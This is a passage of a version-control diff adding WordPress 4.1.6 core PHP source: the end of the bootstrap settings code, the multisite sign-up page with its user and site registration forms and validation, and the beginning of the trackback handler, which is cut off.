+ * Holds the reference to @see $wp_the_query
+ * Use this global for WordPress queries
+ * @global object $wp_query
+ * @since 1.5.0
+ */
+$GLOBALS['wp_query'] = $GLOBALS['wp_the_query'];
+
+/**
+ * Holds the WordPress Rewrite object for creating pretty URLs
+ * @global object $wp_rewrite
+ * @since 1.5.0
+ */
+$GLOBALS['wp_rewrite'] = new WP_Rewrite();
+
+/**
+ * WordPress Object
+ * @global object $wp
+ * @since 2.0.0
+ */
+$GLOBALS['wp'] = new WP();
+
+/**
+ * WordPress Widget Factory Object
+ * @global object $wp_widget_factory
+ * @since 2.8.0
+ */
+$GLOBALS['wp_widget_factory'] = new WP_Widget_Factory();
+
+/**
+ * WordPress User Roles
+ * @global object $wp_roles
+ * @since 2.0.0
+ */
+$GLOBALS['wp_roles'] = new WP_Roles();
+
+/**
+ * Fires before the theme is loaded.
+ *
+ * @since 2.6.0
+ */
+do_action( 'setup_theme' );
+
+// Define the template related constants.
+wp_templating_constants(  );
+
+// Load the default text localization domain.
+load_default_textdomain();
+
+$locale = get_locale();
+$locale_file = WP_LANG_DIR . "/$locale.php";
+if ( ( 0 === validate_file( $locale ) ) && is_readable( $locale_file ) )
+	require( $locale_file );
+unset( $locale_file );
+
+// Pull in locale data after loading text domain.
+require_once( ABSPATH . WPINC . '/locale.php' );
+
+/**
+ * WordPress Locale object for loading locale domain date and various strings.
+ * @global object $wp_locale
+ * @since 2.1.0
+ */
+$GLOBALS['wp_locale'] = new WP_Locale();
+
+// Load the functions for the active theme, for both parent and child theme if applicable.
+if ( ! defined( 'WP_INSTALLING' ) || 'wp-activate.php' === $pagenow ) {
+	if ( TEMPLATEPATH !== STYLESHEETPATH && file_exists( STYLESHEETPATH . '/functions.php' ) )
+		include( STYLESHEETPATH . '/functions.php' );
+	if ( file_exists( TEMPLATEPATH . '/functions.php' ) )
+		include( TEMPLATEPATH . '/functions.php' );
+}
+
+/**
+ * Fires after the theme is loaded.
+ *
+ * @since 3.0.0
+ */
+do_action( 'after_setup_theme' );
+
+// Set up current user.
+$GLOBALS['wp']->init();
+
+/**
+ * Fires after WordPress has finished loading but before any headers are sent.
+ *
+ * Most of WP is loaded at this stage, and the user is authenticated. WP continues
+ * to load on the init hook that follows (e.g. widgets), and many plugins instantiate
+ * themselves on it for all sorts of reasons (e.g. they need a user, a taxonomy, etc.).
+ *
+ * If you wish to plug an action once WP is loaded, use the wp_loaded hook below.
+ *
+ * @since 1.5.0
+ */
+do_action( 'init' );
+
+// Check site status
+if ( is_multisite() ) {
+	if ( true !== ( $file = ms_site_check() ) ) {
+		require( $file );
+		die();
+	}
+	unset($file);
+}
+
+/**
+ * This hook is fired once WP, all plugins, and the theme are fully loaded and instantiated.
+ *
+ * AJAX requests should use wp-admin/admin-ajax.php. admin-ajax.php can handle requests for
+ * users not logged in.
+ *
+ * @link http://codex.wordpress.org/AJAX_in_Plugins
+ *
+ * @since 3.0.0
+ */
+do_action( 'wp_loaded' );
Index: /tags/4.1.6/src/wp-signup.php
===================================================================
--- /tags/4.1.6/src/wp-signup.php	(revision 33402)
+++ /tags/4.1.6/src/wp-signup.php	(revision 33402)
@@ -0,0 +1,732 @@
+<?php
+
+/** Sets up the WordPress Environment. */
+require( dirname(__FILE__) . '/wp-load.php' );
+
+add_action( 'wp_head', 'wp_no_robots' );
+
+require( dirname( __FILE__ ) . '/wp-blog-header.php' );
+
+if ( is_array( get_site_option( 'illegal_names' )) && isset( $_GET[ 'new' ] ) && in_array( $_GET[ 'new' ], get_site_option( 'illegal_names' ) ) == true ) {
+	wp_redirect( network_home_url() );
+	die();
+}
+
+/**
+ * Prints signup_header via wp_head
+ *
+ * @since MU
+ */
+function do_signup_header() {
+	/**
+	 * Fires within the head section of the site sign-up screen.
+	 *
+	 * @since 3.0.0
+	 */
+	do_action( 'signup_header' );
+}
+add_action( 'wp_head', 'do_signup_header' );
+
+if ( !is_multisite() ) {
+	wp_redirect( site_url('wp-login.php?action=register') );
+	die();
+}
+
+if ( !is_main_site() ) {
+	wp_redirect( network_site_url( 'wp-signup.php' ) );
+	die();
+}
+
+// Fix for page title
+$wp_query->is_404 = false;
+
+/**
+ * Prints styles for front-end Multisite signup pages
+ *
+ * @since MU
+ */
+function wpmu_signup_stylesheet() {
+	?>
+	<style type="text/css">
+		.mu_register { width: 90%; margin:0 auto; }
+		.mu_register form { margin-top: 2em; }
+		.mu_register .error { font-weight:700; padding:10px; color:#333333; background:#FFEBE8; border:1px solid #CC0000; }
+		.mu_register input[type="submit"],
+			.mu_register #blog_title,
+			.mu_register #user_email,
+			.mu_register #blogname,
+			.mu_register #user_name { width:100%; font-size: 24px; margin:5px 0; }
+		.mu_register .prefix_address,
+			.mu_register .suffix_address {font-size: 18px;display:inline; }
+		.mu_register label { font-weight:700; font-size:15px; display:block; margin:10px 0; }
+		.mu_register label.checkbox { display:inline; }
+		.mu_register .mu_alert { font-weight:700; padding:10px; color:#333333; background:#ffffe0; border:1px solid #e6db55; }
+	</style>
+	<?php
+}
+
+add_action( 'wp_head', 'wpmu_signup_stylesheet' );
+get_header();
+
+/**
+ * Fires before the site sign-up form.
+ *
+ * @since 3.0.0
+ */
+do_action( 'before_signup_form' );
+?>
+<div id="content" class="widecolumn">
+<div class="mu_register">
+<?php
+/**
+ * Generates and displays the Signup and Create Site forms
+ *
+ * @since MU
+ *
+ * @param string $blogname The new site name
+ * @param string $blog_title The new site title
+ * @param array $errors
+ */
+function show_blog_form( $blogname = '', $blog_title = '', $errors = '' ) {
+	$current_site = get_current_site();
+	// Blog name
+	if ( !is_subdomain_install() )
+		echo '<label for="blogname">' . __('Site Name:') . '</label>';
+	else
+		echo '<label for="blogname">' . __('Site Domain:') . '</label>';
+
+	if ( $errmsg = $errors->get_error_message('blogname') ) { ?>
+		<p class="error"><?php echo $errmsg ?></p>
+	<?php }
+
+	if ( !is_subdomain_install() )
+		echo '<span class="prefix_address">' . $current_site->domain . $current_site->path . '</span><input name="blogname" type="text" id="blogname" value="'. esc_attr($blogname) .'" maxlength="60" /><br />';
+	else
+		echo '<input name="blogname" type="text" id="blogname" value="'.esc_attr($blogname).'" maxlength="60" /><span class="suffix_address">.' . ( $site_domain = preg_replace( '|^www\.|', '', $current_site->domain ) ) . '</span><br />';
+
+	if ( !is_user_logged_in() ) {
+		if ( !is_subdomain_install() )
+			$site = $current_site->domain . $current_site->path . __( 'sitename' );
+		else
+			$site = __( 'domain' ) . '.' . $site_domain . $current_site->path;
+		echo '<p>(<strong>' . sprintf( __('Your address will be %s.'), $site ) . '</strong>) ' . __( 'Must be at least 4 characters, letters and numbers only. It cannot be changed, so choose carefully!' ) . '</p>';
+	}
+
+	// Blog Title
+	?>
+	<label for="blog_title"><?php _e('Site Title:') ?></label>
+	<?php if ( $errmsg = $errors->get_error_message('blog_title') ) { ?>
+		<p class="error"><?php echo $errmsg ?></p>
+	<?php }
+	echo '<input name="blog_title" type="text" id="blog_title" value="'.esc_attr($blog_title).'" />';
+	?>
+
+	<div id="privacy">
+        <p class="privacy-intro">
+            <label for="blog_public_on"><?php _e('Privacy:') ?></label>
+            <?php _e( 'Allow search engines to index this site.' ); ?>
+            <br style="clear:both" />
+            <label class="checkbox" for="blog_public_on">
+                <input type="radio" id="blog_public_on" name="blog_public" value="1" <?php if ( !isset( $_POST['blog_public'] ) || $_POST['blog_public'] == '1' ) { ?>checked="checked"<?php } ?> />
+                <strong><?php _e( 'Yes' ); ?></strong>
+            </label>
+            <label class="checkbox" for="blog_public_off">
+                <input type="radio" id="blog_public_off" name="blog_public" value="0" <?php if ( isset( $_POST['blog_public'] ) && $_POST['blog_public'] == '0' ) { ?>checked="checked"<?php } ?> />
+                <strong><?php _e( 'No' ); ?></strong>
+            </label>
+        </p>
+	</div>
+
+	<?php
+	/**
+	 * Fires after the site sign-up form.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param array $errors An array possibly containing 'blogname' or 'blog_title' errors.
+	 */
+	do_action( 'signup_blogform', $errors );
+}
+
+/**
+ * Validate the new site signup
+ *
+ * @since MU
+ *
+ * @return array Contains the new site data and error messages.
+ */
+function validate_blog_form() {
+	$user = '';
+	if ( is_user_logged_in() )
+		$user = wp_get_current_user();
+
+	return wpmu_validate_blog_signup($_POST['blogname'], $_POST['blog_title'], $user);
+}
+
+/**
+ * Display user registration form
+ *
+ * @since MU
+ *
+ * @param string $user_name The entered username
+ * @param string $user_email The entered email address
+ * @param array $errors
+ */
+function show_user_form($user_name = '', $user_email = '', $errors = '') {
+	// User name
+	echo '<label for="user_name">' . __('Username:') . '</label>';
+	if ( $errmsg = $errors->get_error_message('user_name') ) {
+		echo '<p class="error">'.$errmsg.'</p>';
+	}
+	echo '<input name="user_name" type="text" id="user_name" value="'. esc_attr($user_name) .'" maxlength="60" /><br />';
+	_e( '(Must be at least 4 characters, letters and numbers only.)' );
+	?>
+
+	<label for="user_email"><?php _e( 'Email&nbsp;Address:' ) ?></label>
+	<?php if ( $errmsg = $errors->get_error_message('user_email') ) { ?>
+		<p class="error"><?php echo $errmsg ?></p>
+	<?php } ?>
+	<input name="user_email" type="email" id="user_email" value="<?php  echo esc_attr($user_email) ?>" maxlength="200" /><br /><?php _e('We send your registration email to this address. (Double-check your email address before continuing.)') ?>
+	<?php
+	if ( $errmsg = $errors->get_error_message('generic') ) {
+		echo '<p class="error">' . $errmsg . '</p>';
+	}
+	/**
+	 * Fires at the end of the user registration form on the site sign-up form.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param array $errors An array possibly containing 'user_name' or 'user_email' errors.
+	 */
+	do_action( 'signup_extra_fields', $errors );
+}
+
+/**
+ * Validate user signup name and email
+ *
+ * @since MU
+ *
+ * @return array Contains username, email, and error messages.
+ */
+function validate_user_form() {
+	return wpmu_validate_user_signup($_POST['user_name'], $_POST['user_email']);
+}
+
+/**
+ * Allow returning users to sign up for another site
+ *
+ * @since MU
+ *
+ * @param string $blogname The new site name
+ * @param string $blog_title The new blog title
+ * @param array $errors
+ */
+function signup_another_blog( $blogname = '', $blog_title = '', $errors = '' ) {
+	$current_user = wp_get_current_user();
+
+	if ( ! is_wp_error($errors) ) {
+		$errors = new WP_Error();
+	}
+
+	$signup_defaults = array(
+		'blogname'   => $blogname,
+		'blog_title' => $blog_title,
+		'errors'     => $errors
+	);
+
+	/**
+	 * Filter the default site sign-up variables.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param array $signup_defaults {
+	 *     An array of default site sign-up variables.
+	 *
+	 *     @type string $blogname   The site blogname.
+	 *     @type string $blog_title The site title.
+	 *     @type array  $errors     An array possibly containing 'blogname' or 'blog_title' errors.
+	 * }
+	 */
+	$filtered_results = apply_filters( 'signup_another_blog_init', $signup_defaults );
+
+	$blogname = $filtered_results['blogname'];
+	$blog_title = $filtered_results['blog_title'];
+	$errors = $filtered_results['errors'];
+
+	echo '<h2>' . sprintf( __( 'Get <em>another</em> %s site in seconds' ), get_current_site()->site_name ) . '</h2>';
+
+	if ( $errors->get_error_code() ) {
+		echo '<p>' . __( 'There was a problem, please correct the form below and try again.' ) . '</p>';
+	}
+	?>
+	<p><?php printf( __( 'Welcome back, %s. By filling out the form below, you can <strong>add another site to your account</strong>. There is no limit to the number of sites you can have, so create to your heart&#8217;s content, but write responsibly!' ), $current_user->display_name ) ?></p>
+
+	<?php
+	$blogs = get_blogs_of_user($current_user->ID);
+	if ( !empty($blogs) ) { ?>
+
+			<p><?php _e( 'Sites you are already a member of:' ) ?></p>
+			<ul>
+				<?php foreach ( $blogs as $blog ) {
+					$home_url = get_home_url( $blog->userblog_id );
+					echo '<li><a href="' . esc_url( $home_url ) . '">' . $home_url . '</a></li>';
+				} ?>
+			</ul>
+	<?php } ?>
+
+	<p><?php _e( 'If you&#8217;re not going to use a great site domain, leave it for a new user. Now have at it!' ) ?></p>
+	<form id="setupform" method="post" action="wp-signup.php">
+		<input type="hidden" name="stage" value="gimmeanotherblog" />
+		<?php
+		/**
+		 * Hidden sign-up form fields output when creating another site or user.
+		 *
+		 * @since MU
+		 *
+		 * @param string $context A string describing the steps of the sign-up process. The value can be
+		 *                        'create-another-site', 'validate-user', or 'validate-site'.
+		 */
+		do_action( 'signup_hidden_fields', 'create-another-site' );
+		?>
+		<?php show_blog_form($blogname, $blog_title, $errors); ?>
+		<p class="submit"><input type="submit" name="submit" class="submit" value="<?php esc_attr_e( 'Create Site' ) ?>" /></p>
+	</form>
+	<?php
+}
+
+/**
+ * Validate a new blog signup
+ *
+ * @since MU
+ *
+ * @return null|boolean True if blog signup was validated, false if error.
+ *                      The function halts all execution if the user is not logged in.
+ */
+function validate_another_blog_signup() {
+	global $wpdb, $blogname, $blog_title, $errors, $domain, $path;
+	$current_user = wp_get_current_user();
+	if ( ! is_user_logged_in() ) {
+		die();
+	}
+
+	$result = validate_blog_form();
+
+	// Extracted values set/overwrite globals.
+	$domain = $result['domain'];
+	$path = $result['path'];
+	$blogname = $result['blogname'];
+	$blog_title = $result['blog_title'];
+	$errors = $result['errors'];
+
+	if ( $errors->get_error_code() ) {
+		signup_another_blog($blogname, $blog_title, $errors);
+		return false;
+	}
+
+	$public = (int) $_POST['blog_public'];
+
+	$blog_meta_defaults = array(
+		'lang_id' => 1,
+		'public'  => $public
+	);
+
+	/**
+	 * Filter the new site meta variables.
+	 *
+	 * @since MU
+	 * @deprecated 3.0.0 Use the 'add_signup_meta' filter instead.
+	 *
+	 * @param array $blog_meta_defaults An array of default blog meta variables.
+	 */
+	$meta_defaults = apply_filters( 'signup_create_blog_meta', $blog_meta_defaults );
+	/**
+	 * Filter the new default site meta variables.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param array $meta {
+	 *     An array of default site meta variables.
+	 *
+	 *     @type int $lang_id     The language ID.
+	 *     @type int $blog_public Whether search engines should be discouraged from indexing the site. 1 for true, 0 for false.
+	 * }
+	 */
+	$meta = apply_filters( 'add_signup_meta', $meta_defaults );
+
+	wpmu_create_blog( $domain, $path, $blog_title, $current_user->ID, $meta, $wpdb->siteid );
+	confirm_another_blog_signup($domain, $path, $blog_title, $current_user->user_login, $current_user->user_email, $meta);
+	return true;
+}
+
+/**
+ * Confirm a new site signup
+ *
+ * @since MU
+ *
+ * @param string $domain The domain URL
+ * @param string $path The site root path
+ * @param string $user_name The username
+ * @param string $user_email The user's email address
+ * @param array $meta Any additional meta from the 'add_signup_meta' filter in validate_blog_signup()
+ */
+function confirm_another_blog_signup( $domain, $path, $blog_title, $user_name, $user_email = '', $meta = array() ) {
+	?>
+	<h2><?php printf( __( 'The site %s is yours.' ), "<a href='http://{$domain}{$path}'>{$blog_title}</a>" ) ?></h2>
+	<p>
+		<?php printf( __( '<a href="http://%1$s">http://%2$s</a> is your new site. <a href="%3$s">Log in</a> as &#8220;%4$s&#8221; using your existing password.' ), $domain.$path, $domain.$path, "http://" . $domain.$path . "wp-login.php", $user_name ) ?>
+	</p>
+	<?php
+	/**
+	 * Fires when the site or user sign-up process is complete.
+	 *
+	 * @since 3.0.0
+	 */
+	do_action( 'signup_finished' );
+}
+
+/**
+ * Setup the new user signup process
+ *
+ * @since MU
+ *
+ * @param string $user_name The username
+ * @param string $user_email The user's email
+ * @param array $errors
+ */
+function signup_user( $user_name = '', $user_email = '', $errors = '' ) {
+	global $active_signup;
+
+	if ( !is_wp_error($errors) )
+		$errors = new WP_Error();
+
+	$signup_for = isset( $_POST[ 'signup_for' ] ) ? esc_html( $_POST[ 'signup_for' ] ) : 'blog';
+
+	$signup_user_defaults = array(
+		'user_name'  => $user_name,
+		'user_email' => $user_email,
+		'errors'     => $errors,
+	);
+
+	/**
+	 * Filter the default user variables used on the user sign-up form.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param array $signup_user_defaults {
+	 *     An array of default user variables.
+	 *
+	 *     @type string $user_name  The user username.
+	 *     @type string $user_email The user email address.
+	 *     @type array  $errors     An array of possible errors relevant to the sign-up user.
+	 * }
+	 */
+	$filtered_results = apply_filters( 'signup_user_init', $signup_user_defaults );
+	$user_name = $filtered_results['user_name'];
+	$user_email = $filtered_results['user_email'];
+	$errors = $filtered_results['errors'];
+
+	?>
+
+	<h2><?php printf( __( 'Get your own %s account in seconds' ), get_current_site()->site_name ) ?></h2>
+	<form id="setupform" method="post" action="wp-signup.php" novalidate="novalidate">
+		<input type="hidden" name="stage" value="validate-user-signup" />
+		<?php
+		/** This action is documented in wp-signup.php */
+		do_action( 'signup_hidden_fields', 'validate-user' );
+		?>
+		<?php show_user_form($user_name, $user_email, $errors); ?>
+
+		<p>
+		<?php if ( $active_signup == 'blog' ) { ?>
+			<input id="signupblog" type="hidden" name="signup_for" value="blog" />
+		<?php } elseif ( $active_signup == 'user' ) { ?>
+			<input id="signupblog" type="hidden" name="signup_for" value="user" />
+		<?php } else { ?>
+			<input id="signupblog" type="radio" name="signup_for" value="blog" <?php checked( $signup_for, 'blog' ); ?> />
+			<label class="checkbox" for="signupblog"><?php _e('Gimme a site!') ?></label>
+			<br />
+			<input id="signupuser" type="radio" name="signup_for" value="user" <?php checked( $signup_for, 'user' ); ?> />
+			<label class="checkbox" for="signupuser"><?php _e('Just a username, please.') ?></label>
+		<?php } ?>
+		</p>
+
+		<p class="submit"><input type="submit" name="submit" class="submit" value="<?php esc_attr_e('Next') ?>" /></p>
+	</form>
+	<?php
+}
+
+/**
+ * Validate the new user signup
+ *
+ * @since MU
+ *
+ * @return bool True if new user signup was validated, false if error
+ */
+function validate_user_signup() {
+	$result = validate_user_form();
+	$user_name = $result['user_name'];
+	$user_email = $result['user_email'];
+	$errors = $result['errors'];
+
+	if ( $errors->get_error_code() ) {
+		signup_user($user_name, $user_email, $errors);
+		return false;
+	}
+
+	if ( 'blog' == $_POST['signup_for'] ) {
+		signup_blog($user_name, $user_email);
+		return false;
+	}
+
+	/** This filter is documented in wp-signup.php */
+	wpmu_signup_user( $user_name, $user_email, apply_filters( 'add_signup_meta', array() ) );
+
+	confirm_user_signup($user_name, $user_email);
+	return true;
+}
+
+/**
+ * New user signup confirmation
+ *
+ * @since MU
+ *
+ * @param string $user_name The username
+ * @param string $user_email The user's email address
+ */
+function confirm_user_signup($user_name, $user_email) {
+	?>
+	<h2><?php printf( __( '%s is your new username' ), $user_name) ?></h2>
+	<p><?php _e( 'But, before you can start using your new username, <strong>you must activate it</strong>.' ) ?></p>
+	<p><?php printf( __( 'Check your inbox at <strong>%s</strong> and click the link given.' ), $user_email ); ?></p>
+	<p><?php _e( 'If you do not activate your username within two days, you will have to sign up again.' ); ?></p>
+	<?php
+	/** This action is documented in wp-signup.php */
+	do_action( 'signup_finished' );
+}
+
+/**
+ * Setup the new site signup
+ *
+ * @since MU
+ *
+ * @param string $user_name The username
+ * @param string $user_email The user's email address
+ * @param string $blogname The site name
+ * @param string $blog_title The site title
+ * @param array $errors
+ */
+function signup_blog($user_name = '', $user_email = '', $blogname = '', $blog_title = '', $errors = '') {
+	if ( !is_wp_error($errors) )
+		$errors = new WP_Error();
+
+	$signup_blog_defaults = array(
+		'user_name'  => $user_name,
+		'user_email' => $user_email,
+		'blogname'   => $blogname,
+		'blog_title' => $blog_title,
+		'errors'     => $errors
+	);
+
+	/**
+	 * Filter the default site creation variables for the site sign-up form.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param array $signup_blog_defaults {
+	 *     An array of default site creation variables.
+	 *
+	 *     @type string $user_name  The user username.
+	 *     @type string $user_email The user email address.
+	 *     @type string $blogname   The blogname.
+	 *     @type string $blog_title The title of the site.
+	 *     @type array  $errors     An array of possible errors relevant to new site creation variables.
+	 * }
+	 */
+	$filtered_results = apply_filters( 'signup_blog_init', $signup_blog_defaults );
+
+	$user_name = $filtered_results['user_name'];
+	$user_email = $filtered_results['user_email'];
+	$blogname = $filtered_results['blogname'];
+	$blog_title = $filtered_results['blog_title'];
+	$errors = $filtered_results['errors'];
+
+	if ( empty($blogname) )
+		$blogname = $user_name;
+	?>
+	<form id="setupform" method="post" action="wp-signup.php">
+		<input type="hidden" name="stage" value="validate-blog-signup" />
+		<input type="hidden" name="user_name" value="<?php echo esc_attr($user_name) ?>" />
+		<input type="hidden" name="user_email" value="<?php echo esc_attr($user_email) ?>" />
+		<?php
+		/** This action is documented in wp-signup.php */
+		do_action( 'signup_hidden_fields', 'validate-site' );
+		?>
+		<?php show_blog_form($blogname, $blog_title, $errors); ?>
+		<p class="submit"><input type="submit" name="submit" class="submit" value="<?php esc_attr_e('Signup') ?>" /></p>
+	</form>
+	<?php
+}
+
+/**
+ * Validate new site signup
+ *
+ * @since MU
+ *
+ * @return bool True if the site signup was validated, false if error
+ */
+function validate_blog_signup() {
+	// Re-validate user info.
+	$user_result = wpmu_validate_user_signup( $_POST['user_name'], $_POST['user_email'] );
+	$user_name = $user_result['user_name'];
+	$user_email = $user_result['user_email'];
+	$user_errors = $user_result['errors'];
+
+	if ( $user_errors->get_error_code() ) {
+		signup_user( $user_name, $user_email, $user_errors );
+		return false;
+	}
+
+	$result = wpmu_validate_blog_signup( $_POST['blogname'], $_POST['blog_title'] );
+	$domain = $result['domain'];
+	$path = $result['path'];
+	$blogname = $result['blogname'];
+	$blog_title = $result['blog_title'];
+	$errors = $result['errors'];
+
+	if ( $errors->get_error_code() ) {
+		signup_blog($user_name, $user_email, $blogname, $blog_title, $errors);
+		return false;
+	}
+
+	$public = (int) $_POST['blog_public'];
+	$signup_meta = array ('lang_id' => 1, 'public' => $public);
+
+	/** This filter is documented in wp-signup.php */
+	$meta = apply_filters( 'add_signup_meta', $signup_meta );
+
+	wpmu_signup_blog($domain, $path, $blog_title, $user_name, $user_email, $meta);
+	confirm_blog_signup($domain, $path, $blog_title, $user_name, $user_email, $meta);
+	return true;
+}
+
+/**
+ * New site signup confirmation
+ *
+ * @since MU
+ *
+ * @param string $domain The domain URL
+ * @param string $path The site root path
+ * @param string $blog_title The new site title
+ * @param string $user_name The user's username
+ * @param string $user_email The user's email address
+ * @param array $meta Any additional meta from the 'add_signup_meta' filter in validate_blog_signup()
+ */
+function confirm_blog_signup( $domain, $path, $blog_title, $user_name = '', $user_email = '', $meta = array() ) {
+	?>
+	<h2><?php printf( __( 'Congratulations! Your new site, %s, is almost ready.' ), "<a href='http://{$domain}{$path}'>{$blog_title}</a>" ) ?></h2>
+
+	<p><?php _e( 'But, before you can start using your site, <strong>you must activate it</strong>.' ) ?></p>
+	<p><?php printf( __( 'Check your inbox at <strong>%s</strong> and click the link given.' ),  $user_email) ?></p>
+	<p><?php _e( 'If you do not activate your site within two days, you will have to sign up again.' ); ?></p>
+	<h2><?php _e( 'Still waiting for your email?' ); ?></h2>
+	<p>
+		<?php _e( 'If you haven&#8217;t received your email yet, there are a number of things you can do:' ) ?>
+		<ul id="noemail-tips">
+			<li><p><strong><?php _e( 'Wait a little longer. Sometimes delivery of email can be delayed by processes outside of our control.' ) ?></strong></p></li>
+			<li><p><?php _e( 'Check the junk or spam folder of your email client. Sometime emails wind up there by mistake.' ) ?></p></li>
+			<li><?php printf( __( 'Have you entered your email correctly? You have entered %s, if it&#8217;s incorrect, you will not receive your email.' ), $user_email ) ?></li>
+		</ul>
+	</p>
+	<?php
+	/** This action is documented in wp-signup.php */
+	do_action( 'signup_finished' );
+}
+
+// Main
+$active_signup = get_site_option( 'registration', 'none' );
+/**
+ * Filter the type of site sign-up.
+ *
+ * @since 3.0.0
+ *
+ * @param string $active_signup String that returns registration type. The value can be
+ *                              'all', 'none', 'blog', or 'user'.
+ */
+$active_signup = apply_filters( 'wpmu_active_signup', $active_signup );
+
+// Make the signup type translatable.
+$i18n_signup['all'] = _x('all', 'Multisite active signup type');
+$i18n_signup['none'] = _x('none', 'Multisite active signup type');
+$i18n_signup['blog'] = _x('blog', 'Multisite active signup type');
+$i18n_signup['user'] = _x('user', 'Multisite active signup type');
+
+if ( is_super_admin() )
+	echo '<div class="mu_alert">' . sprintf( __( 'Greetings Site Administrator! You are currently allowing &#8220;%s&#8221; registrations. To change or disable registration go to your <a href="%s">Options page</a>.' ), $i18n_signup[$active_signup], esc_url( network_admin_url( 'settings.php' ) ) ) . '</div>';
+
+$newblogname = isset($_GET['new']) ? strtolower(preg_replace('/^-|-$|[^-a-zA-Z0-9]/', '', $_GET['new'])) : null;
+
+$current_user = wp_get_current_user();
+if ( $active_signup == 'none' ) {
+	_e( 'Registration has been disabled.' );
+} elseif ( $active_signup == 'blog' && !is_user_logged_in() ) {
+	$login_url = site_url( 'wp-login.php?redirect_to=' . urlencode( network_site_url( 'wp-signup.php' ) ) );
+	echo sprintf( __( 'You must first <a href="%s">log in</a>, and then you can create a new site.' ), $login_url );
+} else {
+	$stage = isset( $_POST['stage'] ) ?  $_POST['stage'] : 'default';
+	switch ( $stage ) {
+		case 'validate-user-signup' :
+			if ( $active_signup == 'all' || $_POST[ 'signup_for' ] == 'blog' && $active_signup == 'blog' || $_POST[ 'signup_for' ] == 'user' && $active_signup == 'user' )
+				validate_user_signup();
+			else
+				_e( 'User registration has been disabled.' );
+		break;
+		case 'validate-blog-signup':
+			if ( $active_signup == 'all' || $active_signup == 'blog' )
+				validate_blog_signup();
+			else
+				_e( 'Site registration has been disabled.' );
+			break;
+		case 'gimmeanotherblog':
+			validate_another_blog_signup();
+			break;
+		case 'default':
+		default :
+			$user_email = isset( $_POST[ 'user_email' ] ) ? $_POST[ 'user_email' ] : '';
+			/**
+			 * Fires when the site sign-up form is sent.
+			 *
+			 * @since 3.0.0
+			 */
+			do_action( 'preprocess_signup_form' );
+			if ( is_user_logged_in() && ( $active_signup == 'all' || $active_signup == 'blog' ) )
+				signup_another_blog($newblogname);
+			elseif ( is_user_logged_in() == false && ( $active_signup == 'all' || $active_signup == 'user' ) )
+				signup_user( $newblogname, $user_email );
+			elseif ( is_user_logged_in() == false && ( $active_signup == 'blog' ) )
+				_e( 'Sorry, new registrations are not allowed at this time.' );
+			else
+				_e( 'You are logged in already. No need to register again!' );
+
+			if ( $newblogname ) {
+				$newblog = get_blogaddress_by_name( $newblogname );
+
+				if ( $active_signup == 'blog' || $active_signup == 'all' )
+					printf( '<p><em>' . __( 'The site you were looking for, <strong>%s</strong>, does not exist, but you can create it now!' ) . '</em></p>', $newblog );
+				else
+					printf( '<p><em>' . __( 'The site you were looking for, <strong>%s</strong>, does not exist.' ) . '</em></p>', $newblog );
+			}
+			break;
+	}
+}
+?>
+</div>
+</div>
+<?php
+/**
+ * Fires after the sign-up forms, before wp_footer.
+ *
+ * @since 3.0.0
+ */
+do_action( 'after_signup_form' ); ?>
+
+<?php get_footer(); ?>
Index: /tags/4.1.6/src/wp-trackback.php
===================================================================
--- /tags/4.1.6/src/wp-trackback.php	(revision 33402)
+++ /tags/4.1.6/src/wp-trackback.php	(revision 33402)
@@ -0,0 +1,127 @@
+<?php
+/**
+ * Handle Trackbacks and Pingbacks Sent to WordPress
+ *
+ * @since 0.71
+ *
+ * @package WordPress
+ * @subpackage Trackbacks
+ */
+
+if (empty($wp)) {
+	require_once( dirname( __FILE__ ) . '/wp-load.php' );
+	wp( array( 'tb' => '1' ) );
+}
+
+/**
+ * Response to a trackback.
+ *
+ * Responds with an error or success XML message.
+ *
+ * @since 0.71
+ *
+ * @param mixed  $error         Whether there was an error.
+ *                              Default '0'. Accepts '0' or '1', true or false.
+ * @param string $error_message Error message if an error occurred.
+ */
+function trackback_response($error = 0, $error_message = '') {
+	header('Content-Type: text/xml; charset=' . get_option('blog_charset') );
+	if ($error) {
+		echo '<?xml version="1.0" encoding="utf-8"?'.">\n";
+		echo "<response>\n";
+		echo "<error>1</error>\n";
+		echo "<message>$error_message</message>\n";
+		echo "</response>";
+		die();
+	} else {
+		echo '<?xml version="1.0" encoding="utf-8"?'.">\n";
+		echo "<response>\n";
+		echo "<error>0</error>\n";
+		echo "</response>";
+	}
+}
+
+// Trackback is done by a POST.
+$request_array = 'HTTP_POST_VARS';
+
+if ( !isset($_GET['tb_id']) || !$_GET['tb_id'] ) {
+	$tb_id = explode('/', $_SERVER['REQUEST_URI']);
+	$tb_id = intval( $tb_id[ count($tb_id) - 1 ] );
+}
+
+$tb_url  = isset($_POST['url'])     ? $_POST['url']     : '';
+$charset = isset($_POST['charset']) ? $_POST['charset'] : '';
+
+// These three are stripslashed here so they can be properly escaped after mb_convert_encoding().
+$title     = isset($_POST['title'])     ? wp_unslash($_POST['title'])      : '';
+$excerpt   = isset($_POST['excerpt'])   ? wp_unslash($_POST['excerpt'])    : '';
+$blog_name = isset($_POST['blog_name']) ? wp_unslash($_POST['blog_name'])  : '';
+
+if ($charset)
+	$charset = str_replace( array(',', ' '), '', strtoupper( trim($charset) ) );
+else
+	$charset = 'ASCII, UTF-8, ISO-8859-1, JIS, EUC-JP, SJIS';
+
+// No valid uses for UTF-7.
+if ( false !== strpos($charset, 'UTF-7') )
+	die;
+
+// For international trackbacks.
+if ( function_exists('mb_convert_encoding') ) {
+	$title     = mb_convert_encoding($title, get_option('blog_charset'), $charset);
+	$excerpt   = mb_convert_encoding($excerpt, get_option('blog_charset'), $charset);
+	$blog_name = mb_convert_encoding($blog_name, get_option('blog_charset'), $charset);
+}
+
+// Now that mb_convert_encoding() has been given a swing, we need to escape these three.
+$title     = wp_slash($title);
+$excerpt   = wp_slash($excerpt);
+$blog_name = wp_slash($blog_name);
+
+if ( is_single() || is_page() )
+	$tb_id = $posts[0]->ID;
+
+if ( !isset($tb_id) || !intval( $tb_id ) )
+	trackback_response(1, 'I really need an ID for this to work.');
+
+if (empty($title) && empty($tb_url) && empty($blog_name)) {
+	// If it doesn't look like a trackback at all.
+	wp_redirect(get_permalink($tb_id));
+	exit;
+}
+
+if ( !empty($tb_url) && !empty($title) ) {
+	header('Content-Type: text/xml; charset=' . get_option('blog_charset') );
+
